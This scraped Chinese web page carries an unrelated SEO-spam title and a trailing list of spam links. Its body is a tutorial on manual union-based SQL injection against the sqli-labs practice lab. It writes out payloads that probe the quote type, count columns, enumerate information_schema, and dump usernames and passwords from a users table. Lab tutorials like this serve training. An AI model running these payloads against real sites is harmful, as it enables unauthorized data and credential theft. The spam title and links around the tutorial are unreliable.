当前位置: 首页 > news >正文

如何做电子书网站免费舆情网站下载大全最新版

如何做电子书网站,免费舆情网站下载大全最新版,烟台企业网站建设,郓城网站建设电话目录 注入类型 判断字段数 确定回显点 查找数据库名 查找数据库表名 查询字段名 获取想要的数据 以sqli-labs靶场上的简单SQL注入为例 注入类型 判断是数字类型还是字符类型 常见的闭合方式 ?id1、?id1"、?id1)、?id1")等,大多都是单引号…

目录

注入类型

判断字段数

确定回显点

查找数据库名

查找数据库表名 

查询字段名

获取想要的数据 


以sqli-labs靶场上的简单SQL注入为例

注入类型

判断是数字类型还是字符类型

常见的闭合方式

?id=1'、?id=1"、?id=1')、?id=1")等,大多都是单引号、双引号、括号的组合。

先尝试下字符型输入:?id=1'and 1=1#或者?id=1'and 1=1--+

(如果是字符型,可以用#或者--+或者%23注释掉单引号)

如果?id=1没有回显,那么输入?id=1 or 1=1(数字型)那么肯定会回显,输入?id=1' or 1=1--+(字符型)也肯定会回显(过滤字符可能不是--+,也可能是别的),但是用?id=1 and 1=1,或者?id=1' and 1=1--+不一定回显

99b4d6248638416f95196bb67e0dd04e.png

再试下:?id=1' and 1=2--+ 

541f7988e63143e385c3517388ef4e3d.png

没有回显 

证明是字符型输入,

回显是指页面有数据信息返回。无回显是指根据输入的语句,页面没有任何变化或者没有数据库中的内容显示到网页中。

如果是数字型输入,那么就可以正常输入:1

如何判断是字符型还是数字型呢,有一种方法:

数字型:

  • 1 and 1=1  //能回显
  • 1 and 1=2  //不能回显

字符型:

  • 1' and 1=1#  //能回显
  • 1' and 1=2#   //不能回显

判断字段数

判断字段数 order by

分四次输入:1' and 1=1 oder by 1--+   1' and 1=1 oder by 2--+  1' and 1=1 oder by 3--+    1' and 1=1 oder by 4--+

前两次都是正常回显,第三次报错,显示没有第三列,说明只有两个字段 61430bc38607457b99919a045eeb358c.png

 

确定回显点

输入:1' and 1=1 union select 1,2,3--+

a92613936d9846a4be8f648c23b1e987.png

发现1,2,3三个数没有一个回显,

因为第一个查询语句把后面的给挡住了,所以要把第一个查询语句失效

可以输入:1' and 1=2 union select 1,2,3--+  或者-1' union select 1,2,3--+

8af68d2db4ae452ea2409da9b5439198.png

2,3的位置成功回显 。2,3都可以是注入点 

 

就是可以更改这些点对应的相对的输入位置可以得到不同的输出;

查找数据库名

输入:-1' union select 1,2,database()--+

c074e8e5d02944a5b781f5f58df6c6bd.png

 得到对应的数据库名字:security

查找数据库表名 

849da3c5efd44846912a2cc425bae928.png

 输入:-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+

fc5a70c29ad24eb2ba38ac65b691832a.png

得到表名:emails,但是在这个数据库中可能不止一个表,所以我们要得到所有表,而不只是一个emails表

输入:-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在mysql的关联查询或子查询中,函数 group_concat(arg) 可以合并多行的某列(或多列)数据为一行,默认以逗号分隔。

所以我们可以将tables表里面的所有tables_name表名合并成一行输出 

c55d5e0d9a7d4332a16fde4f268accb8.png

 显然我们想要的是users表

查询字段名

我们会用到上面图片中的column表

输入:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

ea6eca5c7693439697826c4bd98faa22.png 7f982a26658f4723bc8ff2000e9e8a92.png

users表下的字段数很多,显然易见,我们想要获取的只是账号密码,所以,对我们有用的是username和password字段

获取想要的数据 

输入:-1' union select 1,2,group_concat(username,'-',password) from users --+

 ceceeb0f55d746e288b39f2ca349d448.png

成功得到对应的账号密码 

 

http://www.hengruixuexiao.com/news/48554.html

相关文章:

  • 俄文企业网站制作安卓优化大师手机版下载
  • 做的ASP网站手机全国疫情高峰时间表最新
  • 做效果图挣钱网站北京seo排名厂家
  • 那个网站可以学做西餐学软件开发学费多少钱
  • 教育技术学网站模版朝阳seo排名优化培训
  • 贵州省建设学校官方网站营销渠道策划方案
  • 滨海新区网站建设百度推广天天打骚扰电话
  • 手机端网站开发建设内容免费网站在线观看人数在哪直播
  • 哪里做网站比较好怎么把网站排名排上去
  • 东莞建设工程交易中心门户网站今日头条热点新闻
  • 网站常见程序问题关键词挖掘机爱站网
  • 德国ba保镖商城网站哪个公司做的如何在手机上开自己的网站
  • 安装一个宽带多少钱微信seo
  • 沈阳外贸网站制作公司贵州快速整站优化
  • 网址入口商丘 峰少 seo博客
  • godaddy上传网站搜狗关键词优化软件
  • b2c模式的电子商务网站有哪些熊猫seo实战培训
  • 织梦网站做视频app拉新推广赚佣金
  • 杭州网站公司设计地推拉新接单网
  • 遵义做网站优化网站ip查询站长工具
  • 企业网站一定要花钱吗免费百度下载
  • wordpress+众筹网站模板seo技术中心
  • 个人设计师网站 青春seo网站优化怎么做
  • 个人网站设计文字内容模板国外网站设计
  • 做网站需要什么样的电脑配置亚马逊站外推广网站
  • wordpress输出标签文章seo网站推广工具
  • 抚顺疫情最新消息营销网站seo推广
  • 深互动平台怎么使用汨罗网站seo
  • 怎样查找自己建设的网站淘宝代运营公司十大排名
  • 怎做网站莆田seo